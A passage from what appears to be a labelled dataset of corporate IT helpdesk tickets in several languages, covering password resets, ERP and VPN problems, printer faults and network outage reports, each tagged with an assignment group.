hxgaycze the connection it doesn't connect this is affection production. production is not down this is just making the users enter data manually. the databases are ""quantum"" and ""glog2""_x000D_ +_x000D_ +ip addresses:_x000D_ +HostName_1317 10.170.140.10_x000D_ +proglovia 10.170.140.30_x000D_ +_x000D_ +here is the ip address for the cisco ucs manager console 89.96.26.1800_x000D_ +i've tried every set of credentials that i have access. did anyone change the credentials_x000D_ +_x000D_ +HostName_1316 and HostName_1317 have been restarted as requested. please check the database listener for databaseslisted below_x000D_ +_x000D_ +quantum_x000D_ +glog2_x000D_ +glog2old",GRP_1 +german call german call,GRP_0 +password reset password reset,GRP_0 +"can't create a delivery note for a sto # 5019104863 from plant_120 to plant_348 we can't create a delivery note for a sto # 5019104863 from plant_120 to plant_348 for all 4 items._x000D_ +all items in that sto are available in stock in plant_120, but the system does not see it._x000D_ +please check and generate a delivery note._x000D_ +it is quite urgent as the drum #7262112 needs to be sent further to apac for the exposition in apac._x000D_ +",GRP_6 +"vpn access _x000D_ +_x000D_ +received from: khspqlnj.npgxuzeq@gmail.com_x000D_ +_x000D_ +i am unable to access some network folders when connected to vpn_x000D_ +_x000D_ +_x000D_ +",GRP_0 +node germany pbx trunk card located at germany is down at 9:33 pm et on 09/08. node germany pbx trunk card located at germany is down at 9:33 pm et on 09/08.,GRP_37 +password reset password reset ,GRP_0 +need access to znqcljxt azvoespk's collaboration_platform contact : ,GRP_16 +"npc 311104334 - ""plant not selected"" i was notified by kuznvase jrxtbuqz that this npc is having an issue. apparently, the plant was not selected during the execution of the task. please investigate and talk to thilo for my specifics. ",GRP_11 +"my SID_39 crm has problem-please help to fix it aerp, thanks! _x000D_ +_x000D_ +received from: zmkitbsh.bxsyaipz@gmail.com_x000D_ +_x000D_ +dear it helper,_x000D_ +_x000D_ +please see below message. when i am trying to process on this complaint 7611183861, it didn't allow me to change anything, it says this crm is being processed by user sundj, and i am sundj. would you please help me to fix it? i have reboot my computer, but this message is still there._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d20a16.847d2d00]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_15 +"problem with crm + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +when i signed into crm i got and error message. the reporting_engineering_tool didn't load. see below. + +[cid:image001.jpg@01d209a9.900c3d90] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com +",GRP_0 +error when trying to access SID_1 quality system in erp. error when trying to access SID_1 quality system in erp.,GRP_0 +"u drive access hello, for the next one month i will be in bedord, usa. i request to provide access to u drive (\\ldbsm010\engineering_application\) since its taking up too much time to open nx documents from engineering tool with the current u drive path (\\HostName_96\engineering_application). kindly process aerp. ",GRP_12 +lizenz let's talk- video kann nicht geöffnet werden,GRP_0 +"usa nc server HostName_1326 is not responding, no access usa nc server HostName_1326 is not responding, no access",GRP_12 +"employee owned mobility agreement _x000D_ +_x000D_ +received from: rmzlvqjf.eaqyxljb@gmail.com_x000D_ +_x000D_ +hello help team,_x000D_ +attached you will find the agreement. what do i need to do next to get e-mail push, calendar synchronization etc.?_x000D_ +_x000D_ +mit freundlichem gruß / best ",GRP_0 +"sync hr org details to purchasing sync hr org details to purchasing for dhmfuvgw jralkfcb (hufghygh). he is getting the following error: +no data found for employee '1111196977', inform system administration.",GRP_29 +account locked out account locked out,GRP_0 +duplicate machines displaying in machine list when a work center is changed on a machine in erp pm the machine with the old and new work center appear in the machine list in mii,GRP_41 +"skype audio not working _x000D_ +_x000D_ +received from: vkezwolt.fgnqzeai@gmail.com_x000D_ +_x000D_ +kind attn:_x000D_ +_x000D_ +kindly resolve subject issue at the earliest._x000D_ +_x000D_ +best ",GRP_0 +"drucker ng15 funktioniert nicht mehr (hardware problem), dringend benötigt für auftragspapiere und bestellungen please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) hp laserjet 600_x000D_ + _x000D_ + • detailed description of the problem ? papier staut sich, es kommt kein ausdruck raus_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) erp_x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls)_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm) SID_34_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_33 +"problem in engineering tool _x000D_ +_x000D_ +received from: zaeduhlt.jdgsamtv@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +ich habe ein problem beim übertragen eines berirtchts in das engineering tool system._x000D_ +_x000D_ +siehe das gelbe feld unten._x000D_ +schon mehrere male habe ich die felder ausgefüllt und gespeichert._x000D_ +_x000D_ +wenn ich den berirtcht in das system übertagen möchte, gibt es eine fehlermeldung:_x000D_ +_x000D_ +siehe anhang_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d209bf.4ac78940]_x000D_ +_x000D_ +mit freundlichen grüßen / with best ",GRP_25 +blank call blank call from germany - interaction id - 2064209888,GRP_0 +"2md extenral monitor will not stay one, it flashes briefly then goes out. 2md extenral monitor will not stay one, it flashes briefly then goes out.",GRP_3 +"travel expenses in erp + +received from: uyrpdvoq.mbzevtcx@gmail.com + +hi + +i get this information when i want to do my travel expenses + +zero amount + +[cid:image002.png@01d209d4.05d99cf0] + + +but i entered the numbers as below + +[cid:image003.png@01d209d4.05d99cf0] + + + +[cid:image004.png@01d209d4.05d99cf0] + + + + +uyrpdvoq mbzevtcx +sales manager earthworks european served area – north + +uyrpdvoq.mbzevtcx@gmail.com +company infrastructure gmbh +geschäftsführer: phvkowml azbtkqwx und naruedlk mpvhakdq + +www.company.com< + + +",GRP_10 +"telephony_software interaction desktop fails to connect this seems to have started after windows update kb4283716 got installed on user's pc._x000D_ +please find screenshot in the attached email.",GRP_65 +"please check the ale in detail, we have ongoing issues with sending data from hrp to SID_34 and SID_39 - assign to sreedhar please have a close look on the ale interface in production environment, i did work through some requests about expense reporting issues and i found out, that many changes in hrp did not move to SID_34 via ale, even when the data was fine on hr side. for example the changes in it around stefyty and tom were not reflected in SID_34, it looks like the majority of changes since at least 2 or 3 months were not synced. i'm not sure, if nothing went over, some did, but could be because of manual runs of ale by the hris team.",GRP_20 +"drucker hp laserjet 3525 (mp 72) defekt hp drucker cp3525 defekt, wurde bereits ausgetauscht (hp laserjet 500)",GRP_33 +reset passwords for davidthd robankm using password_management_tool password reset. the,GRP_17 +rechner für messvorrichtung steli funktioniert nicht \jionmpsf wnkpzcmv rechner für messvorrichtung steli funktioniert nicht \jionmpsf wnkpzcmv,GRP_24 +barcode scanner defekt \paternoster \bur am orde barcode scanner defekt \paternoster \bur am orde,GRP_24 +usb verlängerungskabel liefern .\hxwtidja ixahzmvf usb verlängerungskabel liefern .\hxwtidja ixahzmvf,GRP_24 +rechner nach update startet nicht \ewew8323649 \cudgevmx waqslrbd rechner nach update startet nicht \ewew8323649 \cudgevmx waqslrbd,GRP_24 +"iehs metrics input - unable to scroll (urgent please) _x000D_ +_x000D_ +received from: fniqhjtg.qrfuetpw@gmail.com_x000D_ +_x000D_ +good day,_x000D_ +_x000D_ +please can you advise how i can scroll down this screen – (i have to minimize it in order to view all my entries) not sure what i am doing wrong._x000D_ +please help_x000D_ +_x000D_ +[cid:image002.png@01d209ca.c93911d0][cid:image003.jpg@01d209ca.c93911d0]_x000D_ +_x000D_ +[cid:image004.jpg@01d209ca.c93911d0]_x000D_ +_x000D_ +best ",GRP_34 +reset passwords for cubdsrml znewqgop using password_management_tool password reset. the,GRP_17 +"kein rechnungseingang beim kunden per e-mail kunde 81125605 / cc5202 erhält unsere rechnungen per e-mail - rechnungsempfänger 81151242 / cc5202 - empfangende e-mail adresse rechnungseingang@sew-eurodrive.de bis zum 01.08.16 hat der kunde problemlos die rechnungen erhalten. ab dem 02.08.16 nicht mehr. dem kunden liegen die rechnungen somit nicht vor und werden deshalb auch nicht bezahlt. ich kann keine änderung feststellen und bitte deshalb um klärung. danke. _x000D_ +_x000D_ +_x000D_ +translation : _x000D_ +customer 81125605 / cc5202 receive our inwarehouse_tools by email - inwarehouse_tool recipient 70,040,131 / cc5202 - receiving email address rechnungseingang@sew-eurodrive.de until 01:08:16 the customer easily get the bills. from 02:08:16 not. the customer therefore not be before the bills and are therefore not paid. i can not detect any change and therefore ask for clarification. ",GRP_13 +"we've been informed that company malaysia office faced the problem of internet access, please help check and confirm do the needful on below e-mail request._x000D_ +_x000D_ +",GRP_4 +"open tickets - günter steinhäußer _x000D_ +_x000D_ +received from: rtnzvplq.erhmuncq@gmail.com_x000D_ +_x000D_ +need support for one of our team member – güter steinhäusser, location germany;_x000D_ +_x000D_ +he already opened already more tickets to get his skype up to speed – but he mentioned that is not solved out after two month;_x000D_ +günter has to participate on important hr calls – so he should be able to work with our common communication technology;_x000D_ +_x000D_ +please support and follow up with günter directly – german language is necessary!_x000D_ +_x000D_ +",GRP_26 +fixed assets additions list additions are not matching to trial balance and or to settlement list. difference is mainly cwip of the last year settled in the current year.,GRP_10 +"my powerpoint application crashed everytime after starting a file - impossible to work my powerpoint application crashed everytime after starting a file - impossible to work_x000D_ +_x000D_ +need to work on a customer proposal and on internal presentations_x000D_ +_x000D_ +no matheywter what pptx file i open the application crashes immediateley and i need to restart the computer. _x000D_ +_x000D_ +_x000D_ +it is absolutely impossible to work with powerpoint on my laptop at present_x000D_ +_x000D_ +i am in transit home from businesstrip - you can reach me as of 14:00 german time",GRP_19 +"netweaver business client 5.0 _x000D_ +_x000D_ +received from: jfsmwpny.klxsdqiw@gmail.com_x000D_ +_x000D_ +hello colleagues ,_x000D_ +_x000D_ +need your help._x000D_ +today i will start , my ""netweaver business client 5.0"" for start a ""er"" but unfortunately the ""netweaver business client 5.0"" is not working._x000D_ +",GRP_0 +reset passwords for davidthd robankm using password_management_tool password reset. the,GRP_17 +"probleme mit laser der pc (ganz alter pc) am halbautomaten schaltet sich anscheinend wg. hitze ab._x000D_ +lüfter vom netzteil dreht nicht !_x000D_ +_x000D_ +",GRP_24 +need help in adding users in au-accounts.receivable@company.com need help in adding users in au-accounts.receivable@company.com,GRP_0 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 5019103263_x000D_ +_x000D_ +what material or item number? 7352179_x000D_ +_x000D_ +what warehouse location? from plant_228 to plant_244_x000D_ +_x000D_ +issue description / error message? no sto possible with these combinations",GRP_29 +"fc für departments\skv-alicona hallo marfhtyio. +mit dem freischalten von srgtycha geht klar. +würdest du bitte den hr. bxgwyamr hjbukvcq personalnr. 10056553 +und den hr. wjzvabrl bmcfrlyz personalnr. 10560825 +ebenfalls freischalten. +danke im voraus. + + +mfg. reinhard + +von: yevirgnl ylhogjct +gesendet: mittwoch, 7. september 2016 09:04 +an: ypladjeu wzfryxav +cc: hqyfebtd pkmyrdga +betreff: wg: zugriffsrechte + +hallo reinhard, + +ich bitte um ein approval (ok) für den zugriff. + +gruss +marfhtyio + +mit freundlichen grüssen / best ",GRP_12 +issue with the difference amount in the po approval report : zpsr0001 and also kindly remove the programdnty : zpsu0002 issue with the difference amount in the po approval report : zpsr0001 and also kindly remove the programdnty : zpsu0002 as this is no longer used.,GRP_20 +"fc auf departments\_scan\we47 guten morgen,_x000D_ +_x000D_ +bitte die schreib / leseberechtigung für ordner m:_scan\we47 einrichten._x000D_ +_x000D_ +danke_x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +freundliche grüße / kind ",GRP_12 +"unable to sign in to skype confirmed email address was typed into the userid field. as system was away from the phone called back on mobile: +pavan confirmed issue was resolved.",GRP_0 +"msd crm still no synchronize with erp still no synchronize with erp after repair to zip code see ticket_no1530289._x000D_ +_x000D_ +still showing an error see attached file. the zip code is now correct._x000D_ +_x000D_ +for all user company in israel.",GRP_40 +question on how to login to impact awards to login to impact awards: ,GRP_0 +"account unlock - lichtyuiwu7 markhty leibdrty called to have the account unlocked. unlocked, confirmed he was able to login.",GRP_34 +"no erp and netweaver enterence_please help aerp. _x000D_ +_x000D_ +received from: chbvyjqr.dqbwijvy@gmail.com_x000D_ +_x000D_ +colleagues, i can't enter to this programdntys, i need it immediately. please help aerp._x000D_ +_x000D_ +please see below:_x000D_ +_x000D_ +[cid:image001.png@01d209b3.957897b0]_x000D_ +_x000D_ +_x000D_ +[cid:image002.png@01d209b3.957897b0]_x000D_ +_x000D_ +best ",GRP_0 +"ferbfhyunam is not able to connect with telephony_software interaction desktop error message: unable to log on for the following reason: 0 bytes read from network stream. +user: ferbfhyunam +workstation: ekmw8111163 +see attached picture,",GRP_33 +"erp net weaver doesnt work, error message: microsoft. net framdntyework 4.5 is not installed. erp net weaver doesnt work, error message: microsoft. net framdntyework 4.5 is not installed.",GRP_0 +account locked in ad account locked in ad,GRP_0 +"business_client - log on error - business_client logon is not working and throwing error .. seems issue with my laptop and logon is working fine when tried in other system_x000D_ +_x000D_ +",GRP_19 +"power outage: south amerirtca: site hard down since at 01:23 am et on 08/09. no backup circuit. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________01:23 am et on 08/09______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _na______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _______ global_telecom_1#332645226__________________ _x000D_ +_x000D_ +12. notified gsc ___yes_____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +skype is not working skype is not working ,GRP_0 +"we need for all participants an access for the guest wifi system in-house. (see the attached excel spread sheet) 13.-14 from: ylqvitsk bfnackrw _x000D_ +sent: wednesday, september 07, 2016 4:45 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rakthyesh wg: cost center_x000D_ +importance: high_x000D_ +_x000D_ +hello, _x000D_ +_x000D_ +we need for all participants an access for the guest wifi system in-house. (see the attached excel spread sheet)_x000D_ +13.-14. sept 2016 _x000D_ +_x000D_ +time for access: 2 days _x000D_ +location: company fürth germany (room-7)_x000D_ +event: ""technical training metal cutting"" _x000D_ +_x000D_ +the different names you will find in the attached excel-list _x000D_ +_x000D_ +",GRP_0 +"action required: please connect to the new vpn url before january 30 from: vivbhuek kanjdye +sent: thursday, september 08, 2016 9:45 am +to: nwfodmhc exurcwkm +subject: re: action required: please connect to the new vpn url before january 30 + +hi +we are getting following message + +system warnings + clear system warnings >> + + no javascript is installed + +warning: for full functionality, enable javascript in your browser. otherwise, some features, especially those related to web applications in new windows, may not work correctly. + cache cleaner is failed + +warning: popup blockers can cause the cache cleaner to fail. if you use a popup blocker, you may see outdated pages and forms. for best functionality, disable your popup blocker. + policy restriction + +access to network access resource company vpn has been denied by the policy engine. +the reason is: +• no anti-virus or anti-virus is not trusted + + +",GRP_0 +"cplant_2404 depreciation issue + +received from: bujiesrg.zopcrshl@gmail.com + +dear , + +i find a gap between fs10n report and asset balance report (s_alr_98122075) in 5319 + + +for cplant_2404 cost center , we only add two rrc asset in jul, so the depreciation should be 16,922.2 rmb( 8,461.01+8,461.01=16,922.2) increase in aug. +but when i run fs10n find the depreciation only add 7,012.55rmb (60,195.23-53,182.68=7,012.55) +can you give me some idea about this?",GRP_10 +"hsh + +received from: aksthyuhath.shettythruy@company.com + +hi, + +mr. hatryupsfshytd user id locked. please reset the password and send the new password to his manager mr. panghyiraj shthuihog + + +emp no + +name + +useid + +manager + +200746709 + +aqihfoly xsrkthvf + +hsh + +panghyiraj shthuihog + + + +fyi. + +[cid:image001.png@01d209b2.81cadcb0] + +with ",GRP_0 +"转发: 订单号：5212346451可以签字了 _x000D_ +_x000D_ +received from: apacjun.zhang@company.com_x000D_ +_x000D_ +hello alex_x000D_ +这个可以开票了，多谢！_x000D_ +_x000D_ +best ",GRP_29 +can not login in erp SID_1 for uacyltoe hxgayczeing attached the screen shot for the error information.,GRP_0 +"circuit outage: primary circuit company-eu-deu-koenigsee-mpls-2911-rtr01.company.com is down since 6:35 pm et what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______ 6:35 pm et on 9/7________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +node down - on lhqsm68267 node down - on lhqsm68267 ,GRP_8 +"erp access + +received from: idkfgcnq.vjwhmzor@gmail.com + +good afternoon, + +can you please unlock my username for erp. i have been locked for too many log in attempts. + +vyjmlain hvjbmdgi +senior technical service rep +inside-sales@company.com + + + + +",GRP_0 +"it request _x000D_ +_x000D_ +received from: otmpauyr.ijztksal@gmail.com_x000D_ +_x000D_ +hello._x000D_ +my supervisor (ybuvlkjq nwcobvpl) has asked me to send an it request. i am able access documents in some folders on our h drive, but not all. i would like permission to access documents that are located in the quality control folder located at h:\quality control._x000D_ +",GRP_0 +"telephony_software phone issue _x000D_ +_x000D_ +received from: tjlgzkbp.iervwjzg@gmail.com_x000D_ +_x000D_ +hello it,_x000D_ +_x000D_ +yesterday i had the telephony_software phone and system update done._x000D_ +today, i notice that it shows a 'yellow' phone icon showing that i am on the phone but i am not._x000D_ +i am not receiving calls._x000D_ +can you please assist quickly._x000D_ +",GRP_7 +"job Job_2063d failed in job_scheduler at: 09/07/2016 16:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063d failed in job_scheduler at: 09/07/2016 16:16:00",GRP_6 +uninstall google chrome uninstall google chrome,GRP_0 +"job SID_38filesys failed in job_scheduler at: 09/07/2016 15:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38filesys failed in job_scheduler at: 09/07/2016 15:36:00",GRP_8 +"70124272 customer erp # no longer available in crm to create new opportstorage_product i have 4 closed won opportunities for this customer and 3 active open opportunities for this customer. tried to create another opportstorage_product for this customer and they are no longer on my list of available customers. when i try to put their name in the account/end user name field i get the statement ""no records found"" tried several other customers and they work, just not this one._x000D_ +",GRP_40 +blank call gso // loud noise blank call gso // loud noise,GRP_0 +unable to connect to network drives on vpn unable to connect to network drives on vpn,GRP_0 +account locked out account locked out,GRP_0 +account locked on vpn page account locked on vpn page,GRP_0 +company email password not working company email password not working,GRP_0 +account locked out account locked out,GRP_0 +"vip 2 // SID_60 hana login name:stdezpqw bkmeuhfz +language: +browser:microsoft internet explorer +email:stdezpqw.bkmeuhfz@gmail.com +customer number: +telephone:= +summary:need access to erp hana SID_60",GRP_0 +ie issue ie issue,GRP_0 +reset the password for iwtvrhnz rxiumhfk on erp / production / erp reset the password for iwtvrhnz rxiumhfk on erp / production / erp,GRP_0 +ticket update on inplant_857988 ticket update on inplant_857988,GRP_0 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +"please send expense report 2111137753 to qmglkaru qiwhfkdv for approval please manually send expense report 2111137753 to qmglkaru qiwhfkdv for approval, its stuck w/ pathuick thgheijmer due to reporting relationship changes. ",GRP_10 +"connection issue _x000D_ +_x000D_ +received from: riqmdnzs.mtlghwex@gmail.com_x000D_ +_x000D_ +dear team,_x000D_ +_x000D_ +please help to raise a ticket with network team as the user slkxgzdj wxpytevu working remotely in erp systems and he keep getting kicked out without able to continue his work_x000D_ +_x000D_ +",GRP_2 +HostName_1201 plm server just to let someone now that the dsccache service isn't running on HostName_1201,GRP_12 +"unable to connect to dv28, dv06, and dv40 unable to connect to dv28, dv06, and dv40",GRP_0 +"unknown emails from miltgntyuon knighdjhtyt _x000D_ +_x000D_ +received from: zxobmreq.udikorhv@gmail.com_x000D_ +_x000D_ +i was going to forward 2 emails i received, but it gives me an alert message – see attachments. if you need to connect with my terminal let me know. i moved them both to my delete box._x000D_ +",GRP_0 +"account locked out, need to unlock account locked out, need to unlock",GRP_0 +"circuit outage : apac - china vpn circuit is down at 12:41 pm et on 09/07. site is up on mpls. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________12:41 pm et on 09/07______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +"install analysis office 2.2 sp 03 in clrgtydia's pc since office version is 2016 hello team,_x000D_ +_x000D_ +please install analysis office 2.2 sp 03 in clrgtydia's pc since office version is 2016 and set up hana SID_60/ SID_59 connections._x000D_ +_x000D_ +at present, xawlkiey demjqrfl's pc has ao 1.4 which is not compatible with office 2016._x000D_ +_x000D_ +issue is sev 2._x000D_ +_x000D_ +best ",GRP_9 +"skype for business extend access to external partners _x000D_ +_x000D_ +received from: sbgvrncj.idfhtoqv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +please extend the skype for business access of przcxbml vnjdghui (a contractor) so that she is able to arrange conference calls with external company parties. she is working on a critical company payroll project for germany that involves significant external vendor contact so her skype permissions should be set the same as mine._x000D_ +many ",GRP_26 +unable to change password on password_management_tool password manager unable to change password on password_management_tool password manager,GRP_0 +konto resetten konto resetten,GRP_0 +"erp & business_client password reset request _x000D_ +_x000D_ +received from: svbymfiz.afqvyuwh@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +please help to reset my password for erp SID_34 & business_client_x000D_ +_x000D_ +",GRP_0 +windows password reset windows password reset,GRP_0 +account unlock account unlock,GRP_0 +password reset password reset,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +password reset to hub password reset to hub,GRP_0 +"erp problem _x000D_ +_x000D_ +received from: bajrpckl.cevtiuob@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ + i am not able to see more than the below list in va35._x000D_ +_x000D_ +[cid:image001.jpg@01d20941.19746b70]_x000D_ +_x000D_ +",GRP_0 +"what's the meaning of this ""warning message"" + +received from: zywoxerf.paqxtrfk@gmail.com + +dear help desk: + +i'd like to know what's the meaning of the following ""warning message"" when i click on engineering tool and after login. + +[cid:image001.jpg@01d208e8.d36cbf40] + +x. jdamieul fandyhgg + +phd, us patent agent +senior staff engineer + +zywoxerf.paqxtrfk@gmail.com +",GRP_0 +"erp SID_34 account unlock name:mfeyouli ndobtzpw +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:please reset erp. SID_34 for boivin",GRP_0 +"constantly receiving ""usb device not recognized"" and i have to install my default printer driver after every reboot constantly receiving ""usb device not recognized"" and i have to install my default printer driver after every reboot (cl92)",GRP_0 +unable to log on to distributor_tool. unable to log on to distributor_tool.,GRP_0 +"supply_chain_software _x000D_ +_x000D_ +received from: cjsukemx.lqkcesuf@gmail.com_x000D_ +_x000D_ +please reset my supply_chain_software password._x000D_ +_x000D_ +",GRP_0 +vpn query vpn query. user wanted to know if he can connect to vpn.,GRP_0 +"cannot log into erp SID_34 erp production with new password - need access + +received from: yisohglr.uvteflgb@gmail.com + +hi - + +i recently changed my password and i tried to log into erp but i keep receiving a message that login is no longer possible and there are too many failed attempts (i only tried to log in one time). when i changed my password, i also received an error message that the password change failed - see attached.the new password works for all the other applications on my computer except for erp. i use erp on a daily basis and need to access SID_34 erp production. + +my user id is rubyfgty so please let me know if you can help with this issue. + +",GRP_0 +unable to login to skype unable to login to skype,GRP_0 +"unable to launch ethics. unable to launch ethics. login credentials invalid error. + +1. primary smtp address: from outlook address book - karghyuen.hasghyusan@company.com + +2. new to company/ returned after resignation/account changed from temp to permanent? no + +3. taken ethics before? received email from .ethics to take the ethics course? any organizational change? yes. my email address used to be htsnaodb.adjtmlzn@gmail.com starting in fy17, i was moved to company. + +4. any name change / email address change? email address change. my email address used to be htsnaodb.adjtmlzn@gmail.com starting in fy17, i was moved to company. + +5. any medial leave/leave of absence recently? no +",GRP_23 +" also, the account needs to be given to davgtgyrh smgnhyleck. bhghtyum, + i will need additional time, please do not delete this account on september 9th. also, the account needs to be given to davgtgyrh smgnhyleck. +",GRP_2 +windows password reset windows password reset,GRP_0 +password locked out on erp SID_34 password locked out on erp SID_34,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +outlook not updating emails outlook not updating emails,GRP_0 +ticket update for inplant_858062 ticket update for inplant_858062,GRP_0 +freigabe auf ordner für ytcxjzue guplftok (krafghyumec1) und zbijdqpg ehpjkwio (dinktyhed) unter departments (\\HostName_579) (m:) unter info/freigabe ordner beschichtung mit allen unterordnern ,GRP_34 +"change screensaver company to company please change my screensaver to company._x000D_ +pc name: ekql700085_x000D_ +_x000D_ +",GRP_0 +"network problems (multiple applications are running slow) EU_tool and downloads lists to vmsliazh ltksxmyv how did you determine there are network problems ? if i want ot download lists to vmsliazh ltksxmyv interrogates (questioning) time out is coming. the same with EU_tool. if we want to print labels the same error is coming_x000D_ +_x000D_ +are more than one transactions impacted? _x000D_ +_x000D_ +what server are you on? vmsliazh ltksxmyv_x000D_ +do other co-workers also notice slow response times in erp ? yes, we have problems too in our shipment department_x000D_ +_x000D_ +",GRP_59 +"printer cl98 + +received from: azxhejvq.fyemlavd@gmail.com + +good morning + +i have made several attempts to print to printer cl98. i have also powered the device down then back up. and retried printing. no print but the printer drivers are refreshed. +had a colleague try and she had the same results + +i deleted the printer cl98 from my pc and reinstalled it. it reinstalled as prtgn0022. when i printed to it the print came out successfully. + +how can a printer be changed from cl98 to gn22 without notification? should this printer be known as gn22 or is this a error that requires further investigation? + +mikhghytr wafglhdrhjop + + +",GRP_0 +"erp-step interface programdnty not sending all ebom data to step erp-step interface programdnty is not generating idoc data for all ebom items. 5 examples below._x000D_ +mm#s 3313551 and 3313561 is not sending step all the ebom data. we are missing the ebom insert screw. also we have the same issue with missing ebom items (screws) for mm# 6235933, 6235934, 6235935._x000D_ +_x000D_ +. erp data_x000D_ +below is a list of the bom items for the materials in question. i do know that both ms2006 and ms2005 are material type raw material. i thought that you were able to show the data in the bom regardless of the material type, but that could be the issue. the ebom is showing what is on the drawings, and the ebom is created, so i'm not certain why the materials force didn't work. joe uses the same programdnty that i do to force product._x000D_ +_x000D_ +material number ansi code position component material ansi of component _x000D_ +6235933 krcscfpr061y 0010 2010829 ms2006 _x000D_ +6235933 krcscfpr061y 0020 2010831 ms2005 _x000D_ +6235933 krcscfpr061y 0030 2132602 ft7 _x000D_ +6235933 krcscfpr061y 0040 2132604 ft8 _x000D_ +6235934 krcscfpr062y 0010 2010829 ms2006 _x000D_ +6235934 krcscfpr062y 0020 2010831 ms2005 _x000D_ +6235934 krcscfpr062y 0030 2132602 ft7 _x000D_ +6235934 krcscfpr062y 0040 2132604 ft8 _x000D_ +6235935 krcscfpr063y 0010 2010829 ms2006 _x000D_ +6235935 krcscfpr063y 0020 2010831 ms2005 _x000D_ +6235935 krcscfpr063y 0030 2132602 ft7 _x000D_ +6235935 krcscfpr063y 0040 2132604 ft8 _x000D_ +_x000D_ +step data_x000D_ + bom_0020 bom_0030 